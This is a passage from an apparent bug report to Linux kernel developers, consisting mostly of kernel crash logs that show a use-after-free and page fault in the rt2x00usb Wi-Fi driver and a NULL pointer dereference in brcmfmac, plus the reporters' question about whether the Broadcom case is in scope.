> [  +0.000003] Code: 1d a5 cc dc 01 80 fb 01 0f 87 6c f8 8d 00 83 e3 01 0f
> 85 52 ff ff ff 48 c7 c7 10 c0 1c a8 c6 05 85 cc dc 01 01 e8 d2 9f 8f ff
> <0f> 0b e9 38 ff ff ff 48 c7 c7 e8 bf 1c a8 c6 05 6c cc dc 01 01 e8
> [  +0.000002] RSP: 0018:ffffb0fe4126f4e8 EFLAGS: 00010246
> [  +0.000003] RAX: 0000000000000000 RBX: 0000000000000000 RCX:
> 0000000000000000
> [  +0.000002] RDX: 0000000000000000 RSI: 0000000000000000 RDI:
> 0000000000000000
> [  +0.000001] RBP: ffffb0fe4126f4f0 R08: 0000000000000000 R09:
> 0000000000000000
> [  +0.000001] R10: 0000000000000000 R11: 0000000000000000 R12:
> ffff919769c2e800
> [  +0.000002] R13: ffff91954a975000 R14: 0000000000000820 R15:
> 00000000ffffff00
> [  +0.000002] FS:  00007bfb476a34c0(0000) GS:ffff91a42ee00000(0000)
> knlGS:0000000000000000
> [  +0.000002] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [  +0.000001] CR2: 00000000dc9cae6c CR3: 000000011e4ce000 CR4:
> 0000000000750ee0
> [  +0.000002] PKRU: 55555554
> [  +0.000001] Call Trace:
> [  +0.000002]  <TASK>
> [  +0.000003]  ? show_regs+0x6d/0x80
> [  +0.000005]  ? __warn+0x89/0x160
> [  +0.000004]  ? refcount_warn_saturate+0x12e/0x150
> [  +0.000003]  ? report_bug+0x17e/0x1b0
> [  +0.000005]  ? handle_bug+0x46/0x90
> [  +0.000004]  ? exc_invalid_op+0x18/0x80
> [  +0.000003]  ? asm_exc_invalid_op+0x1b/0x20
> [  +0.000006]  ? refcount_warn_saturate+0x12e/0x150
> [  +0.000003]  ? refcount_warn_saturate+0x12e/0x150
> [  +0.000003]  usb_get_urb+0x52/0x90
> [  +0.000004]  usb_hcd_submit_urb+0x23/0x2e0
> [  +0.000003]  usb_submit_urb+0x254/0x6c0
> [  +0.000006]  rt2x00usb_kick_rx_entry+0xab/0xf0 [rt2x00usb]
> [  +0.000006]  rt2x00usb_clear_entry+0x2c/0x40 [rt2x00usb]
> [  +0.000005]  rt2x00queue_init_queues+0xa5/0x100 [rt2x00lib]
> [  +0.000008]  rt2x00lib_enable_radio+0x28/0xb0 [rt2x00lib]
> [  +0.000007]  rt2x00lib_start+0x87/0xd0 [rt2x00lib]
> [  +0.000007]  rt2x00mac_start+0x2d/0x80 [rt2x00lib]
> [  +0.000007]  drv_start+0x55/0x130 [mac80211]
> [  +0.000033]  ieee80211_do_open+0x353/0x7e0 [mac80211]
> [  +0.000030]  ieee80211_open+0x76/0xa0 [mac80211]
> [  +0.000027]  __dev_open+0x105/0x1d0
> [  +0.000004]  __dev_change_flags+0x1b5/0x230
> [  +0.000003]  dev_change_flags+0x27/0x80
> [  +0.000003]  do_setlink+0x3a1/0xe60
> [  +0.000004]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000003]  ? __nla_validate_parse+0x49/0x1e0
> [  +0.000005]  __rtnl_newlink+0x6e5/0x770
> [  +0.000005]  rtnl_newlink+0x48/0x80
> [  +0.000003]  rtnetlink_rcv_msg+0x170/0x430
> [  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000003]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10
> [  +0.000002]  netlink_rcv_skb+0x5d/0x110
> [  +0.000005]  rtnetlink_rcv+0x15/0x30
> [  +0.000003]  netlink_unicast+0x1b3/0x2a0
> [  +0.000002]  netlink_sendmsg+0x25e/0x4e0
> [  +0.000004]  ____sys_sendmsg+0x3ef/0x420
> [  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000003]  ___sys_sendmsg+0x9a/0xf0
> [  +0.000004]  ? kvfree+0x31/0x40
> [  +0.000005]  __sys_sendmsg+0x89/0xf0
> [  +0.000004]  __x64_sys_sendmsg+0x1d/0x30
> [  +0.000001]  x64_sys_call+0x114d/0x20b0
> [  +0.000003]  do_syscall_64+0x55/0x90
> [  +0.000002]  ? __rseq_handle_notify_resume+0x37/0x70
> [  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000002]  ? exit_to_user_mode_loop+0xe5/0x130
> [  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000002]  ? exit_to_user_mode_prepare+0x30/0xb0
> [  +0.000001]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000002]  ? syscall_exit_to_user_mode+0x37/0x60
> [  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000001]  ? do_syscall_64+0x61/0x90
> [  +0.000002]  ? do_syscall_64+0x61/0x90
> [  +0.000002]  entry_SYSCALL_64_after_hwframe+0x73/0xdd
> [  +0.000002] RIP: 0033:0x7bfb4872799d
> [  +0.000021] Code: 28 89 54 24 1c 48 89 74 24 10 89 7c 24 08 e8 6a 90 f6
> ff 8b 54 24 1c 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 2e 00 00 00 0f 05
> <48> 3d 00 f0 ff ff 77 33 44 89 c7 48 89 44 24 08 e8 ae 90 f6 ff 48
> [  +0.000001] RSP: 002b:00007ffd73cd3280 EFLAGS: 00000293 ORIG_RAX:
> 000000000000002e
> [  +0.000002] RAX: ffffffffffffffda RBX: 00000000000004a3 RCX:
> 00007bfb4872799d
> [  +0.000002] RDX: 0000000000000000 RSI: 00007ffd73cd32c0 RDI:
> 000000000000000c
> [  +0.000001] RBP: 000055d422a2e030 R08: 0000000000000000 R09:
> 0000000000000000
> [  +0.000001] R10: 0000000000000000 R11: 0000000000000293 R12:
> 0000000000000000
> [  +0.000001] R13: 00007ffd73cd3410 R14: 00007ffd73cd340c R15:
> 0000000000000000
> [  +0.000003]  </TASK>
> [  +0.000001] ---[ end trace 0000000000000000 ]---
> [  +0.000004] ------------[ cut here ]------------
> [  +0.000001] refcount_t: underflow; use-after-free.
> [  +0.000004] WARNING: CPU: 16 PID: 754 at lib/refcount.c:28
> refcount_warn_saturate+0xa3/0x150
> [  +0.000003] Modules linked in: rt2800usb rt2x00usb rt2800lib rt2x00lib
> tcp_diag inet_diag bnep nfnetlink_queue nfnetlink_log bluetooth
> ecdh_generic ecc usbmon nf_conntrack_netlink xfrm_user xfrm_algo
> xt_addrtype br_netfilter ccm xt_CHECKSUM xt_MASQUERADE xt_conntrack
> ipt_REJECT nf_reject_ipv4 xt_tcpudp nft_compat nft_chain_nat nf_nat
> nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables libcrc32c nfnetlink
> bridge stp llc overlay intel_rapl_msr intel_rapl_common
> snd_hda_codec_realtek snd_hda_codec_generic snd_hda_codec_hdmi
> snd_hda_intel snd_intel_dspcfg mt7921u mt76x2u snd_intel_sdw_acpi
> mt7921_common mt76x2_common edac_mce_amd amdgpu snd_hda_codec
> mt76_connac_lib mt76x02_usb mt76x02_lib mt76_usb snd_hda_core kvm_amd
> snd_hwdep mt76 binfmt_misc kvm snd_pcm irqbypass mac80211 crct10dif_pclmul
> snd_seq_midi amdxcp polyval_clmulni snd_seq_midi_event iommu_v2
> polyval_generic drm_buddy ghash_clmulni_intel sha256_ssse3 snd_rawmidi
> gpu_sched sha1_ssse3 drm_suballoc_helper aesni_intel drm_ttm_helper
> nls_iso8859_1 ttm crypto_simd
> [  +0.000055]  snd_seq cryptd cfg80211 drm_display_helper snd_seq_device
> snd_timer cec rapl rc_core joydev input_leds libarc4 drm_kms_helper
> eeepc_wmi snd wmi_bmof i2c_algo_bit k10temp soundcore ccp mac_hid
> sch_fq_codel msr parport_pc ppdev lp parport drm efi_pstore ip_tables
> x_tables autofs4 hid_logitech_hidpp hid_logitech_dj hid_generic usbhid hid
> mfd_aaeon asus_wmi video ledtrig_audio sparse_keymap platform_profile
> crc32_pclmul nvme ahci i2c_piix4 r8169 xhci_pci libahci nvme_core
> xhci_pci_renesas realtek nvme_common wmi
> [  +0.000036] CPU: 16 PID: 754 Comm: NetworkManager Tainted: G        W
>      6.5.0-41-generic #41~22.04.2-Ubuntu
> [  +0.000002] Hardware name: System manufacturer System Product Name/TUF
> GAMING X570-PLUS, BIOS 3603 03/20/2021
> [  +0.000001] RIP: 0010:refcount_warn_saturate+0xa3/0x150
> [  +0.000002] Code: 94 00 0f b6 1d 2b cd dc 01 80 fb 01 0f 87 df f8 8d 00
> 83 e3 01 75 dd 48 c7 c7 40 c0 1c a8 c6 05 0f cd dc 01 01 e8 5d a0 8f ff
> <0f> 0b eb c6 0f b6 1d 02 cd dc 01 80 fb 01 0f 87 9f f8 8d 00 83 e3
> [  +0.000002] RSP: 0018:ffffb0fe4126f4e8 EFLAGS: 00010246
> [  +0.000001] RAX: 0000000000000000 RBX: 0000000000000000 RCX:
> 0000000000000000
> [  +0.000001] RDX: 0000000000000000 RSI: 0000000000000000 RDI:
> 0000000000000000
> [  +0.000001] RBP: ffffb0fe4126f4f0 R08: 0000000000000000 R09:
> 0000000000000000
> [  +0.000002] R10: 0000000000000000 R11: 0000000000000000 R12:
> 00000000fffffffe
> [  +0.000001] R13: ffff91954a975000 R14: 0000000000000820 R15:
> 00000000ffffff00
> [  +0.000001] FS:  00007bfb476a34c0(0000) GS:ffff91a42ee00000(0000)
> knlGS:0000000000000000
> [  +0.000001] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [  +0.000002] CR2: 00000000dc9cae6c CR3: 000000011e4ce000 CR4:
> 0000000000750ee0
> [  +0.000001] PKRU: 55555554
> [  +0.000001] Call Trace:
> [  +0.000001]  <TASK>
> [  +0.000001]  ? show_regs+0x6d/0x80
> [  +0.000002]  ? __warn+0x89/0x160
> [  +0.000003]  ? refcount_warn_saturate+0xa3/0x150
> [  +0.000002]  ? report_bug+0x17e/0x1b0
> [  +0.000003]  ? handle_bug+0x46/0x90
> [  +0.000002]  ? exc_invalid_op+0x18/0x80
> [  +0.000003]  ? asm_exc_invalid_op+0x1b/0x20
> [  +0.000003]  ? refcount_warn_saturate+0xa3/0x150
> [  +0.000003]  ? refcount_warn_saturate+0xa3/0x150
> [  +0.000001]  usb_free_urb+0x67/0x80
> [  +0.000003]  usb_hcd_submit_urb+0x14e/0x2e0
> [  +0.000002]  usb_submit_urb+0x254/0x6c0
> [  +0.000003]  rt2x00usb_kick_rx_entry+0xab/0xf0 [rt2x00usb]
> [  +0.000005]  rt2x00usb_clear_entry+0x2c/0x40 [rt2x00usb]
> [  +0.000003]  rt2x00queue_init_queues+0xa5/0x100 [rt2x00lib]
> [  +0.000006]  rt2x00lib_enable_radio+0x28/0xb0 [rt2x00lib]
> [  +0.000005]  rt2x00lib_start+0x87/0xd0 [rt2x00lib]
> [  +0.000005]  rt2x00mac_start+0x2d/0x80 [rt2x00lib]
> [  +0.000005]  drv_start+0x55/0x130 [mac80211]
> [  +0.000025]  ieee80211_do_open+0x353/0x7e0 [mac80211]
> [  +0.000028]  ieee80211_open+0x76/0xa0 [mac80211]
> [  +0.000026]  __dev_open+0x105/0x1d0
> [  +0.000004]  __dev_change_flags+0x1b5/0x230
> [  +0.000003]  dev_change_flags+0x27/0x80
> [  +0.000003]  do_setlink+0x3a1/0xe60
> [  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000003]  ? __nla_validate_parse+0x49/0x1e0
> [  +0.000004]  __rtnl_newlink+0x6e5/0x770
> [  +0.000005]  rtnl_newlink+0x48/0x80
> [  +0.000002]  rtnetlink_rcv_msg+0x170/0x430
> [  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000003]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10
> [  +0.000002]  netlink_rcv_skb+0x5d/0x110
> [  +0.000005]  rtnetlink_rcv+0x15/0x30
> [  +0.000002]  netlink_unicast+0x1b3/0x2a0
> [  +0.000003]  netlink_sendmsg+0x25e/0x4e0
> [  +0.000003]  ____sys_sendmsg+0x3ef/0x420
> [  +0.000002]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000004]  ___sys_sendmsg+0x9a/0xf0
> [  +0.000003]  ? kvfree+0x31/0x40
> [  +0.000004]  __sys_sendmsg+0x89/0xf0
> [  +0.000004]  __x64_sys_sendmsg+0x1d/0x30
> [  +0.000002]  x64_sys_call+0x114d/0x20b0
> [  +0.000002]  do_syscall_64+0x55/0x90
> [  +0.000001]  ? __rseq_handle_notify_resume+0x37/0x70
> [  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000002]  ? exit_to_user_mode_loop+0xe5/0x130
> [  +0.000002]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000001]  ? exit_to_user_mode_prepare+0x30/0xb0
> [  +0.000002]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000002]  ? syscall_exit_to_user_mode+0x37/0x60
> [  +0.000002]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000002]  ? do_syscall_64+0x61/0x90
> [  +0.000001]  ? do_syscall_64+0x61/0x90
> [  +0.000002]  entry_SYSCALL_64_after_hwframe+0x73/0xdd
> [  +0.000002] RIP: 0033:0x7bfb4872799d
> [  +0.000005] Code: 28 89 54 24 1c 48 89 74 24 10 89 7c 24 08 e8 6a 90 f6
> ff 8b 54 24 1c 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 2e 00 00 00 0f 05
> <48> 3d 00 f0 ff ff 77 33 44 89 c7 48 89 44 24 08 e8 ae 90 f6 ff 48
> [  +0.000002] RSP: 002b:00007ffd73cd3280 EFLAGS: 00000293 ORIG_RAX:
> 000000000000002e
> [  +0.000002] RAX: ffffffffffffffda RBX: 00000000000004a3 RCX:
> 00007bfb4872799d
> [  +0.000001] RDX: 0000000000000000 RSI: 00007ffd73cd32c0 RDI:
> 000000000000000c
> [  +0.000001] RBP: 000055d422a2e030 R08: 0000000000000000 R09:
> 0000000000000000
> [  +0.000001] R10: 0000000000000000 R11: 0000000000000293 R12:
> 0000000000000000
> [  +0.000001] R13: 00007ffd73cd3410 R14: 00007ffd73cd340c R15:
> 0000000000000000
> [  +0.000003]  </TASK>
> [  +0.000001] ---[ end trace 0000000000000000 ]---
> [  +0.000002] BUG: unable to handle page fault for address: 00000000000011b0
> [  +0.000003] #PF: supervisor read access in kernel mode
> [  +0.000001] #PF: error_code(0x0000) - not-present page
> [  +0.000002] PGD 0 P4D 0
> [  +0.000003] Oops: 0000 [#1] PREEMPT SMP NOPTI
> [  +0.000002] CPU: 16 PID: 754 Comm: NetworkManager Tainted: G        W
>      6.5.0-41-generic #41~22.04.2-Ubuntu
> [  +0.000002] Hardware name: System manufacturer System Product Name/TUF
> GAMING X570-PLUS, BIOS 3603 03/20/2021
> [  +0.000001] RIP: 0010:rt2x00usb_clear_entry+0x5/0x40 [rt2x00usb]
> [  +0.000004] Code: d2 31 c9 31 f6 31 ff 45 31 c0 e9 e6 1a 90 e5 66 0f 1f
> 44 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 44 00 00
> <48> 8b 47 10 48 c7 07 00 00 00 00 83 78 10 0e 74 0b 31 c0 31 f6 31
> [  +0.000002] RSP: 0018:ffffb0fe4126f5e0 EFLAGS: 00010206
> [  +0.000002] RAX: ffffffffc20411f0 RBX: 000000000000005f RCX:
> 0000000000000000
> [  +0.000001] RDX: 0000000000000000 RSI: 0000000000000000 RDI:
> 00000000000011a0
> [  +0.000002] RBP: ffffb0fe4126f600 R08: 0000000000000000 R09:
> 0000000000000000
> [  +0.000001] R10: 0000000000000000 R11: 0000000000000000 R12:
> ffff919567fab4f0
> [  +0.000002] R13: ffff9198efd9e060 R14: ffff9198efd9c900 R15:
> ffff9196786a4000
> [  +0.000001] FS:  00007bfb476a34c0(0000) GS:ffff91a42ee00000(0000)
> knlGS:0000000000000000
> [  +0.000002] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [  +0.000002] CR2: 00000000000011b0 CR3: 000000011e4ce000 CR4:
> 0000000000750ee0
> [  +0.000001] PKRU: 55555554
> [  +0.000001] Call Trace:
> [  +0.000002]  <TASK>
> [  +0.000001]  ? show_regs+0x6d/0x80
> [  +0.000003]  ? __die+0x24/0x80
> [  +0.000003]  ? page_fault_oops+0x99/0x1b0
> [  +0.000004]  ? do_user_addr_fault+0x31d/0x6b0
> [  +0.000003]  ? exc_page_fault+0x83/0x1b0
> [  +0.000003]  ? asm_exc_page_fault+0x27/0x30
> [  +0.000003]  ? __pfx_rt2x00usb_clear_entry+0x10/0x10 [rt2x00usb]
> [  +0.000004]  ? rt2x00usb_clear_entry+0x5/0x40 [rt2x00usb]
> [  +0.000005]  ? rt2x00queue_init_queues+0xa5/0x100 [rt2x00lib]
> [  +0.000005]  rt2x00lib_enable_radio+0x28/0xb0 [rt2x00lib]
> [  +0.000006]  rt2x00lib_start+0x87/0xd0 [rt2x00lib]
> [  +0.000005]  rt2x00mac_start+0x2d/0x80 [rt2x00lib]
> [  +0.000006]  drv_start+0x55/0x130 [mac80211]
> [  +0.000025]  ieee80211_do_open+0x353/0x7e0 [mac80211]
> [  +0.000028]  ieee80211_open+0x76/0xa0 [mac80211]
> [  +0.000027]  __dev_open+0x105/0x1d0
> [  +0.000004]  __dev_change_flags+0x1b5/0x230
> [  +0.000003]  dev_change_flags+0x27/0x80
> [  +0.000004]  do_setlink+0x3a1/0xe60
> [  +0.000004]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000002]  ? __nla_validate_parse+0x49/0x1e0
> [  +0.000004]  __rtnl_newlink+0x6e5/0x770
> [  +0.000006]  rtnl_newlink+0x48/0x80
> [  +0.000003]  rtnetlink_rcv_msg+0x170/0x430
> [  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000003]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10
> [  +0.000003]  netlink_rcv_skb+0x5d/0x110
> [  +0.000005]  rtnetlink_rcv+0x15/0x30
> [  +0.000002]  netlink_unicast+0x1b3/0x2a0
> [  +0.000003]  netlink_sendmsg+0x25e/0x4e0
> [  +0.000004]  ____sys_sendmsg+0x3ef/0x420
> [  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000003]  ___sys_sendmsg+0x9a/0xf0
> [  +0.000004]  ? kvfree+0x31/0x40
> [  +0.000005]  __sys_sendmsg+0x89/0xf0
> [  +0.000004]  __x64_sys_sendmsg+0x1d/0x30
> [  +0.000002]  x64_sys_call+0x114d/0x20b0
> [  +0.000002]  do_syscall_64+0x55/0x90
> [  +0.000002]  ? __rseq_handle_notify_resume+0x37/0x70
> [  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000002]  ? exit_to_user_mode_loop+0xe5/0x130
> [  +0.000002]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000003]  ? exit_to_user_mode_prepare+0x30/0xb0
> [  +0.000002]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000002]  ? syscall_exit_to_user_mode+0x37/0x60
> [  +0.000002]  ? srso_alias_return_thunk+0x5/0x7f
> [  +0.000003]  ? do_syscall_64+0x61/0x90
> [  +0.000001]  ? do_syscall_64+0x61/0x90
> [  +0.000003]  entry_SYSCALL_64_after_hwframe+0x73/0xdd
> [  +0.000002] RIP: 0033:0x7bfb4872799d
> [  +0.000005] Code: 28 89 54 24 1c 48 89 74 24 10 89 7c 24 08 e8 6a 90 f6
> ff 8b 54 24 1c 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 2e 00 00 00 0f 05
> <48> 3d 00 f0 ff ff 77 33 44 89 c7 48 89 44 24 08 e8 ae 90 f6 ff 48
> [  +0.000001] RSP: 002b:00007ffd73cd3280 EFLAGS: 00000293 ORIG_RAX:
> 000000000000002e
> [  +0.000003] RAX: ffffffffffffffda RBX: 00000000000004a3 RCX:
> 00007bfb4872799d
> [  +0.000001] RDX: 0000000000000000 RSI: 00007ffd73cd32c0 RDI:
> 000000000000000c
> [  +0.000002] RBP: 000055d422a2e030 R08: 0000000000000000 R09:
> 0000000000000000
> [  +0.000001] R10: 0000000000000000 R11: 0000000000000293 R12:
> 0000000000000000
> [  +0.000001] R13: 00007ffd73cd3410 R14: 00007ffd73cd340c R15:
> 0000000000000000
> [  +0.000004]  </TASK>
> [  +0.000001] Modules linked in: rt2800usb rt2x00usb rt2800lib rt2x00lib
> tcp_diag inet_diag bnep nfnetlink_queue nfnetlink_log bluetooth
> ecdh_generic ecc usbmon nf_conntrack_netlink xfrm_user xfrm_algo
> xt_addrtype br_netfilter ccm xt_CHECKSUM xt_MASQUERADE xt_conntrack
> ipt_REJECT nf_reject_ipv4 xt_tcpudp nft_compat nft_chain_nat nf_nat
> nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables libcrc32c nfnetlink
> bridge stp llc overlay intel_rapl_msr intel_rapl_common
> snd_hda_codec_realtek snd_hda_codec_generic snd_hda_codec_hdmi
> snd_hda_intel snd_intel_dspcfg mt7921u mt76x2u snd_intel_sdw_acpi
> mt7921_common mt76x2_common edac_mce_amd amdgpu snd_hda_codec
> mt76_connac_lib mt76x02_usb mt76x02_lib mt76_usb snd_hda_core kvm_amd
> snd_hwdep mt76 binfmt_misc kvm snd_pcm irqbypass mac80211 crct10dif_pclmul
> snd_seq_midi amdxcp polyval_clmulni snd_seq_midi_event iommu_v2
> polyval_generic drm_buddy ghash_clmulni_intel sha256_ssse3 snd_rawmidi
> gpu_sched sha1_ssse3 drm_suballoc_helper aesni_intel drm_ttm_helper
> nls_iso8859_1 ttm crypto_simd
> [  +0.000056]  snd_seq cryptd cfg80211 drm_display_helper snd_seq_device
> snd_timer cec rapl rc_core joydev input_leds libarc4 drm_kms_helper
> eeepc_wmi snd wmi_bmof i2c_algo_bit k10temp soundcore ccp mac_hid
> sch_fq_codel msr parport_pc ppdev lp parport drm efi_pstore ip_tables
> x_tables autofs4 hid_logitech_hidpp hid_logitech_dj hid_generic usbhid hid
> mfd_aaeon asus_wmi video ledtrig_audio sparse_keymap platform_profile
> crc32_pclmul nvme ahci i2c_piix4 r8169 xhci_pci libahci nvme_core
> xhci_pci_renesas realtek nvme_common wmi
> [  +0.000037] CR2: 00000000000011b0
> [  +0.000002] ---[ end trace 0000000000000000 ]---
> [  +0.164871] RIP: 0010:rt2x00usb_clear_entry+0x5/0x40 [rt2x00usb]
> [  +0.000008] Code: d2 31 c9 31 f6 31 ff 45 31 c0 e9 e6 1a 90 e5 66 0f 1f
> 44 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 44 00 00
> <48> 8b 47 10 48 c7 07 00 00 00 00 83 78 10 0e 74 0b 31 c0 31 f6 31
> [  +0.000003] RSP: 0018:ffffb0fe4126f5e0 EFLAGS: 00010206
> [  +0.000003] RAX: ffffffffc20411f0 RBX: 000000000000005f RCX:
> 0000000000000000
> [  +0.000002] RDX: 0000000000000000 RSI: 0000000000000000 RDI:
> 00000000000011a0
> [  +0.000003] RBP: ffffb0fe4126f600 R08: 0000000000000000 R09:
> 0000000000000000
> [  +0.000002] R10: 0000000000000000 R11: 0000000000000000 R12:
> ffff919567fab4f0
> [  +0.000002] R13: ffff9198efd9e060 R14: ffff9198efd9c900 R15:
> ffff9196786a4000
> [  +0.000002] FS:  00007bfb476a34c0(0000) GS:ffff91a42ee00000(0000)
> knlGS:0000000000000000
> [  +0.000002] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [  +0.000002] CR2: 00000000000011b0 CR3: 000000011e4ce000 CR4: 00000
> 
> 
> 
> There is another point that we do not quite understand. We also triggered
> this vulnerability on a Broadcom network card. However, the kernel message
> indicated that the issue was due to the brcmfmac firmware. Using lsusb, we
> discovered that this chip also uses the rt2x00 chipset. Could you please
> clarify whether you can address this issue as well, or should we notify
> Broadcom?
> 
> ----------------------------- Broadcom crash log"
> 
> [ +0.709539] usb 3-1.4: reset high-speed USB device number 8 using xhci_hcd
> [ +0.133374] brcmfmac: brcmf_c_process_clm_blob: no clm_blob available
> (err=-2), device may have limited channels available
> [ +0.000007] brcmfmac: brcmf_c_process_txcap_blob: no txcap_blob available
> (err=-2)
> [ +0.000742] brcmfmac: brcmf_c_preinit_dcmds: Firmware: BCM43236/3 wl0: Nov
> 30 2011 17:33:42 version 5.90.188.22
> [ +0.056253] usb 3-1.4 wlxbc307eab1237: renamed from wlan0
> [ +0.024459] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
> bsscfgidx=0
> [ +0.000006] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
> (69)
> [ +0.003143] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
> bsscfgidx=0
> [ +0.000003] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
> (69)
> [ +0.000003] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
> bsscfgidx=0
> [ +0.000001] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
> (69)
> [ +0.003414] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
> bsscfgidx=0
> [ +0.000004] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
> (69)
> [ +0.013322] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
> bsscfgidx=0
> [ +0.000003] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
> (69)
> [ +0.000047] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
> bsscfgidx=0
> [ +0.000002] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
> (69)
> [ +0.001726] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
> bsscfgidx=0
> [ +0.000003] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
> (69)
> [ +0.000053] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
> bsscfgidx=0
> [ +0.000002] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
> (69)
> [ +0.005724] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
> bsscfgidx=0
> [ +0.000004] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
> (69)
> [ +0.082551] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
> bsscfgidx=0
> [ +0.000007] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
> (69)
> [ +0.002798] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
> bsscfgidx=0
> [ +0.000004] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
> (69)
> [ +0.009268] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
> bsscfgidx=0
> [ +0.000005] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
> (69)
> [ +0.037693] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
> bsscfgidx=0
> [ +0.000007] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
> (69)
> [ +0.004651] ieee80211 phy33: brcmf_cfg80211_escan_handler: scan not ready,
> bsscfgidx=0
> [ +0.000004] ieee80211 phy33: brcmf_fweh_event_worker: event handler failed
> (69)
> [ +0.740682] usb 3-1.4: reset high-speed USB device number 8 using xhci_hcd
> [ +0.135285] brcmfmac: brcmf_c_process_clm_blob: no clm_blob available
> (err=-2), device may have limited channels available
> [ +0.000007] brcmfmac: brcmf_c_process_txcap_blob: no txcap_blob available
> (err=-2)
> [ +0.000741] brcmfmac: brcmf_c_preinit_dcmds: Firmware: BCM43236/3 wl0: Nov
> 30 2011 17:33:42 version 5.90.188.22
> [ +0.015434] BUG: kernel NULL pointer dereference, address: 0000000000000360
> [ +0.000004] #PF: supervisor read access in kernel mode
> [ +0.000002] #PF: error_code(0x0000) - not-present page
> [ +0.000003] PGD 0 P4D 0
> [ +0.000006] Oops: 0000 [#1] PREEMPT SMP NOPTI
> [ +0.000005] CPU: 0 PID: 19093 Comm: kworker/0:4 Tainted: G OE
> 6.5.0-41-generic #41~22.04.2-Ubuntu
> [ +0.000005] Hardware name: System manufacturer System Product Name/TUF
> GAMING X570-PLUS, BIOS 3603 03/20/2021
> [ +0.000003] Workqueue: events brcmf_fweh_event_worker [brcmfmac]
> [ +0.000024] RIP: 0010:brcmf_cfg80211_escan_handler+0x27/0x380 [brcmfmac]
> [ +0.000017] Code: 90 90 90 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41
> 54 53 48 83 ec 20 4c 8b 17 44 8b 6e 08 4d 8b 72 20 41 83 fd 04 74 67 <49>
> 8b 86 60 03 00 00 48 89 fb a8 01 0f 84 b9 02 00 00 41 83 fd 08
> [ +0.000003] RSP: 0018:ffffb44e061fbd20 EFLAGS: 00010202
> [ +0.000003] RAX: 0000000000000000 RBX: ffff94582e9759c0 RCX:
> ffffb44e061fbde8
> [ +0.000003] RDX: ffff9456d574f450 RSI: ffffb44e061fbde8 RDI:
> ffff94582e9759c0
> [ +0.000002] RBP: ffffb44e061fbd68 R08: ffff9456d574f450 R09:
> 0000000000000000
> [ +0.000003] R10: ffff9458bce3c900 R11: 0000000000000000 R12:
> 0000000000000045
> [ +0.000002] R13: 0000000000000008 R14: 0000000000000000 R15:
> 0000000000000045
> [ +0.000003] FS: 0000000000000000(0000) GS:ffff9465aea00000(0000)
> knlGS:0000000000000000
> [ +0.000003] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [ +0.000002] CR2: 0000000000000360 CR3: 0000000210812000 CR4:
> 0000000000750ef0
> [ +0.000003] PKRU: 55555554
> [ +0.000002] Call Trace:
> [ +0.000003] <TASK>
> [ +0.000004] ? show_regs+0x6d/0x80
> [ +0.000007] ? __die+0x24/0x80
> [ +0.000005] ? page_fault_oops+0x99/0x1b0
